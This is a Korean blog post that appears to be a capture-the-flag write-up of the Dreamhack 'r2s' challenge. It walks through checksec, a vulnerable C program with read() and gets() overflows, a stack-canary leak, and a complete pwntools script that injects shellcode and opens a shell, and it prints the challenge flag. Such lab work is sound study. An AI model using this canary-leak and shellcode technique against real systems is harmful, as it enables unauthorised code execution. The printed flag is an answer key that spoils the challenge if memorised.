보호 기법 탐지
리눅스에는 다양한 바이너리 보호 기법이 있고, 보호 기법에 따라 익스플로잇 설계가 달라진다.
그러므로 분석을 하기 전에 바이너리에 적용된 보호 기법이 뭔지 파악해보는 것이 좋은데
이 때 사용하는 툴로 checksec이 있다.
checksec은 pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치한다.
위의 사진은 checksec을 이용해 r2s 파일의 보호 기법을 파악한 결과이다.
canary 보호 기법이 적용된 것을 볼 수 있다.
참고) checksec 커맨드 입력 시 command not found 에러 발생
/.bashrc 파일 마지막 줄에 아래의 내용을 적어준다.
export PATH="$HOME/.local/bin/:$PATH"
checksec은 canary 뿐만 아니라 RELRO, NX, PIE 기법들을 탐지할 수 있다.
소스 코드 분석
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50]; // 80
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
main() 함수에서 80byte 크기의 char형 배열 buf가 선언되어 있다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);
buf의 주소를 출력해주고, buf의 주소와 rbp의 값 사이가 얼마나 떨어져있는지를 출력해준다.
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
canary를 leak 하라는 문구와 함께 Input: 문자열을 출력한다.
그리고 출력 버퍼를 비운다.
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
read() 함수로 사용자에게서 0x100(256)크기만큼 입력받고 입력받은 값을 buf에 담은 뒤 문자열로 출력해준다.
먼저 여기서 Overflow가 발생하는데, buf의 사이즈는 0x50인데 사용자에게 받는 입력값은 0x100이기 때문이다.
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 주소를 덮어쓰라는 문구와 함께 Input: 문자열이 출력되고 출력 버퍼를 비운다.
그리고는 사용자에게 입력을 받아 buf에 넣는다.
여기서도 Overflow가 발생하는데 gets()는 사용자가 Enter 키를 입력해 '\n' 문자를 발생시키기 전까지 입력받기 때문이다.
위의 코드 분석 결과를 통해
두 번째 입력에서 반환 주소를 덮어쓸 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해서 프로그램이 강제 종료되므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력에서 입력 받은 값을 buf에 담고, 바로 buf에 있는 값을 문자열로 출력해주기 때문에 buf에 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.
또한
첫 번째 입력에서 카나리 값을 구했다면 두 번째 입력에서 반환 주소를 덮어쓰면 되는데 이 문제에서는 셸을 획득해주는 get_shell() 함수가 없기 때문에 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮기면 된다.
즉, 문제 파일을 실행했을 때 buf의 주소를 알려주므로 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있다는 것이다.
exploit
위의 사진은 바이너리 파일을 실행했을 때 결과이다.
스택을 이용해 공격할 것이기에 스택 프레임의 구조를 먼저 파악한다.
바이너리 파일을 실행하면 buf의 주소를 출력해주므로 이를 잘 파싱해오면 된다.
"buf: " 문자열까지 읽은 후 뒤의 16진수 값을 읽어와 저장하고, "$rbp: "문자열까지 읽은 후 뒤에 96 값을 읽어와 저장하면 된다.
96은 buf의 주소와 rbp의 값 사이의 크기이므로 buf주소로부터 96byte 떨어진 곳이 SFP의 주소라는 것이다.
읽어 온 96 값에서 8을 빼면 그 곳이 카나리 값이 위치한 곳이니 8을 뺀 값을 저장해둔다.
카나리는 32bit 환경에서는 4byte이지만, 64bit 환경에서는 8byte이며, 카나리 값은 맨 앞이 null byte로 시작한다.
즉, 카나리 값을 실제로 3byte, 7byte이라는 것이다.
그렇기에 buf와 카나리 사이를 임의의 값으로 채우면, null byte가 사라지므로 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다.
buf와 카나리 사이에 임의의 값을 채우는 payload를 작성하여 "Input: " 문자열이 나온 이후 전송하도록 하면, 카나리 값이 출력될 것인데, 카나리 값 이전의 값들은 잘라내고, 카나리 값 7 byte를 읽은 뒤 맨 앞에 null byte를 붙여 저장한다.
이렇게 카나리 값을 구했다면 이제 buf에 셸코드를 주입하고, 저장했던 카나리 값으로 덮어쓴 뒤 반환 주소(RET)를 buf의 주소로 덮으면 된다.
from pwn import *
p = remote('host3.dreamhack.games', 12091)
context.arch = "amd64"
# get information about buf
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
print("Address of buf : ", hex(buf))
p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
# print("buf2sfp : " + str(buf2sfp))
buf2cnry = buf2sfp - 8
print("buf <=> sfp : ", buf2sfp) # distance
print("buf <=> canary : ", buf2cnry) # distance
payload = b'a' * (buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b"Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recvn(7))
print("Canry : ", cnry)
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"a") + p64(cnry) + b"b" * 0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter(b"Input:", payload)
p.interactive()
위의 설명을 python 코드로 짜면 위와 같다.
DH{333eb89c9d2615dd8942ece08c1d34d5}
실행하면 위와 같이 flag를 얻을 수 있다.
'전쟁 > Dreamhack Pwn' 카테고리의 다른 글
[Dreamhack pwn] Return to Library (0) | 2023.01.07 |
---|---|
[Dreamhack pwn] ssp_001 (0) | 2023.01.05 |
[Dreamhack pwn] basic_exploitation_001 (0) | 2022.12.31 |
[Dreamhack pwn] basic_exploitation_000 (3) | 2022.12.24 |
[Dreamhack pwn] Return Address Overwrite (0) | 2022.12.23 |